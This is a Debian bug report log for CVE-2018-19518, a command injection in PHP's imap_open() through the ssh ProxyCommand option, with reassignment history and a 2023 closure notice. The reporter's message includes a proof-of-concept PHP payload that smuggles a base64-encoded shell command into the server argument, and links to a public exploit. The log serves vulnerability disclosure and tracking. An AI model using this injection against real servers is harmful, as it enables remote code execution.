Debian Bug report logs - #913836
php7.0-imap: CVE-2018-19518: imap_open() function command injection

version graph

Package: php7.0-imap; Maintainer for php7.0-imap is (unknown);

Reported by: rhns <vulns@rhns.eu>

Date: Thu, 15 Nov 2018 02:18:01 UTC

Severity: grave

Tags: security, upstream

Found in version php7.0/7.0.30-0+deb9u1

Fixed in versions 7.0.33-0+deb9u1, 7.0.32-1+rm

Done: Andreas Beckmann <anbe@debian.org>

Bug is archived. No further changes may be made.

Forwarded to https://bugs.php.net/bug.php?id=76428

View this report as an mbox folder, status mbox, maintainer mbox


Report forwarded to debian-bugs-dist@lists.debian.org, vulns@rhns.eu, team@security.debian.org, Debian PHP Maintainers <team+pkg-php@tracker.debian.org>:
Bug#913775; Package php-imap. (Thu, 15 Nov 2018 02:18:04 GMT) (full text, mbox, link).


Acknowledgement sent to rhns <vulns@rhns.eu>:
New Bug report received and forwarded. Copy sent to vulns@rhns.eu, team@security.debian.org, Debian PHP Maintainers <team+pkg-php@tracker.debian.org>. (Thu, 15 Nov 2018 02:18:04 GMT) (full text, mbox, link).


Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: rhns <vulns@rhns.eu>
To: Debian Bug Tracking System <submit@bugs.debian.org>
Subject: php-imap: imap_open() function command injection
Date: Thu, 15 Nov 2018 03:15:22 +0100
Package: php-imap
Version: 1:7.0+49
Severity: grave
Tags: security
Justification: user security hole

Dear Maintainer,

A command injection vulnerability has been identified in the imap
extension of php.

It is located in the imap_open() function which does not validate
correctly the server URI.

imap_open() invokes rsh which is symlinked to ssh on Debian, it results
in a possible command injection via the "-o ProxyCommand" option of ssh.

A PoC is available :
```
<?php
# https://antichat.com/threads/463395/#post-4254681
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError:
".imap_last_error());
```

- Bo0om : PHP_imap_open_exploit
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
- Antichat : [спущено с LVL8] RCE Task #3 
https://antichat.com/threads/463395/#post-4254681

-- System Information:
Debian Release: 9.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-8-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages php-imap depends on:
ii  php-common   1:49
ii  php7.0-imap  7.0.30-0+deb9u1

php-imap recommends no packages.

php-imap suggests no packages.

-- no debconf information

Bug reassigned from package 'php-imap' to 'php7.3-imap'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:05 GMT) (full text, mbox, link).


No longer marked as found in versions php-defaults/49. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:06 GMT) (full text, mbox, link).


Marked as found in versions php7.3/7.3.0~rc5-2. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:06 GMT) (full text, mbox, link).


Changed Bug title to 'php7.3-imap: imap_open() function command injection' from 'php-imap: imap_open() function command injection'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:07 GMT) (full text, mbox, link).


Bug 913775 cloned as bugs 913835, 913836 Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:08 GMT) (full text, mbox, link).


Bug reassigned from package 'php7.3-imap' to 'php7.0-imap'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:11 GMT) (full text, mbox, link).


No longer marked as found in versions php7.3/7.3.0~rc5-2. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:12 GMT) (full text, mbox, link).


Marked as found in versions php7.0/7.0.30-0+deb9u1. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:13 GMT) (full text, mbox, link).


Changed Bug title to 'php7.0-imap: imap_open() function command injection' from 'php7.3-imap: imap_open() function command injection'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:13 GMT) (full text, mbox, link).


Added tag(s) upstream. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 15 Nov 2018 20:51:15 GMT) (full text, mbox, link).


Set Bug forwarded-to-address to 'https://bugs.php.net/bug.php?id=76428'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Thu, 22 Nov 2018 21:57:04 GMT) (full text, mbox, link).


Changed Bug title to 'php7.0-imap: CVE-2018-19518: imap_open() function command injection' from 'php7.0-imap: imap_open() function command injection'. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Sun, 25 Nov 2018 13:27:03 GMT) (full text, mbox, link).


Marked as fixed in versions 7.0.33-0+deb9u1. Request was from Salvatore Bonaccorso <carnil@debian.org> to control@bugs.debian.org. (Fri, 07 Dec 2018 20:48:05 GMT) (full text, mbox, link).


Reply sent to Andreas Beckmann <anbe@debian.org>:
You have taken responsibility. (Fri, 28 Apr 2023 07:42:03 GMT) (full text, mbox, link).


Notification sent to rhns <vulns@rhns.eu>:
Bug acknowledged by developer. (Fri, 28 Apr 2023 07:42:03 GMT) (full text, mbox, link).


Message #36 received at 913836-done@bugs.debian.org (full text, mbox, reply):

From: Andreas Beckmann <anbe@debian.org>
To: 943503-done@bugs.debian.org, 945525-done@bugs.debian.org, 913836-done@bugs.debian.org
Subject: php7.0 has been removed from Debian
Date: Fri, 28 Apr 2023 09:39:18 +0200
Version: 7.0.32-1+rm

src:php7.0 was last released with Debian 9 (stretch)
in June 2017 and was removed from the Debian archive afterwards.
It has been superseded by newer versions.
See https://bugs.debian.org/910071 for details on the removal.
After regular security support for stretch ended in July 2020 and LTS
support ended in July 2022, I'm closing the remaining bug reports now.
In case the bug is still present in recent releases, please reopen and
reassign it.

Andreas



Bug archived. Request was from Debbugs Internal Request <owner@bugs.debian.org> to internal_control@bugs.debian.org. (Sat, 27 May 2023 07:27:02 GMT) (full text, mbox, link).


Send a report that this bug log contains spam.


Debian bug tracking system administrator <owner@bugs.debian.org>. Last modified: Fri Apr 18 08:05:14 2025; Machine Name: buxtehude

Debian Bug tracking system

Debbugs is free software and licensed under the terms of the GNU General Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.

Copyright © 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson, 2005-2017 Don Armstrong, and many other contributors.